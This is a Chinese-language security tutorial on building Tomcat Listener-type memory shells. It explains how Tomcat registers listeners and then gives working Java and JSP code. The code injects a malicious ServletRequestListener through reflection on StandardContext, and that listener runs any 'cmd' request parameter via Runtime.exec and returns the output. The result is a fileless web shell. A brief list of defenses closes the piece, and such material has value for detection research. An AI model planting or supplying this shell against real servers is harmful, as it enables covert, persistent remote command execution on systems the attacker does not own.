Tomcat Listener 型内存马流程理解与手写 EXP
字数 1254 2025-08-12 11:34:25
Tomcat Listener 型内存马原理与实现详解
0x01 内存马概述
内存马是一种驻留在服务器内存中的恶意程序,具有极强的隐蔽性。与文件上传攻击相比,内存马不需要在磁盘上留下文件痕迹,但攻击方式相对局限。Listener 型内存马是其中一种实现方式,通过监听 HTTP 请求来执行恶意代码。
0x02 Listener 基础知识
Java Web 监听器类型
Java Web 开发中的监听器(Listener)主要分为三类:
- ServletContextListener - 监听应用上下文事件
- HttpSessionListener - 监听会话事件
- ServletRequestListener - 监听请求事件
其中 ServletRequestListener 最适合用于内存马实现,因为它会在每个请求到达时触发。
ServletRequestListener 关键方法
public interface ServletRequestListener extends EventListener {
void requestInitialized(ServletRequestEvent sre); // 请求初始化时调用
void requestDestroyed(ServletRequestEvent sre); // 请求销毁时调用
}
0x03 Listener 基础实现
简单 Listener 示例
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
public ListenerTest() {}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}
web.xml 配置
<listener>
<listener-class>Listener.ListenerTest</listener-class>
</listener>
0x04 Listener 运行流程分析
1. 应用启动阶段
ContextConfig 类负责读取 web.xml 配置:
- 通过
configureContext()方法读取配置 - 调用
addApplicationListener()添加监听器
关键代码路径:
ContextConfig.configureContext()
→ StandardContext.addApplicationListener()
→ applicationEventListenersList.add(listener)
2. 请求处理阶段
- 通过
StandardContext.listenerStart()初始化监听器 findApplicationListeners()获取已注册的监听器列表- 请求到达时触发
requestInitialized()方法
3. 关键调试点
- 应用启动时:在
ContextConfig.configureContext()方法设置断点 - 请求处理时:在
StandardContext.fireRequestInitEvent()方法设置断点
0x05 Listener 型内存马实现
1. 恶意 Listener 核心代码
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
// 反射获取Request对象
Field requestField = requestFacade.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1) {
response.getWriter().write(new String(bytes, 0, i));
response.getWriter().write("\r\n");
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
2. 获取 StandardContext 对象
<%
// 通过反射获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
3. 完整 JSP 内存马实现
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
// 恶意代码实现同上
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 添加恶意Listener
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>
4. Java 类实现方式
package Listener;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.Field;
@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent event) {
HttpServletRequest req = (HttpServletRequest) event.getServletRequest();
HttpServletResponse resp = getResponseFromRequest(req);
String cmd = req.getParameter("cmd");
try {
String result = CommandExec(cmd);
resp.getWriter().println(result);
} catch (Exception e) {}
}
private String CommandExec(String cmd) throws Exception {
// 命令执行逻辑
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest req) {
// 反射获取Response对象
}
}
0x06 防御措施
- 监控 Listener 注册:检测异常的 Listener 添加行为
- 运行时检测:定期检查 StandardContext 中的监听器列表
- 权限控制:限制反射等危险操作的使用
- 代码审计:检查 web.xml 和动态注册的 Listener
0x07 总结
Listener 型内存马相比 Filter 型实现更为简单,关键点在于:
- 实现
ServletRequestListener接口并植入恶意代码 - 通过反射获取
StandardContext对象 - 使用
addApplicationEventListener()动态注册恶意 Listener
这种内存马具有极高的隐蔽性,防御需要结合静态检测和运行时监控。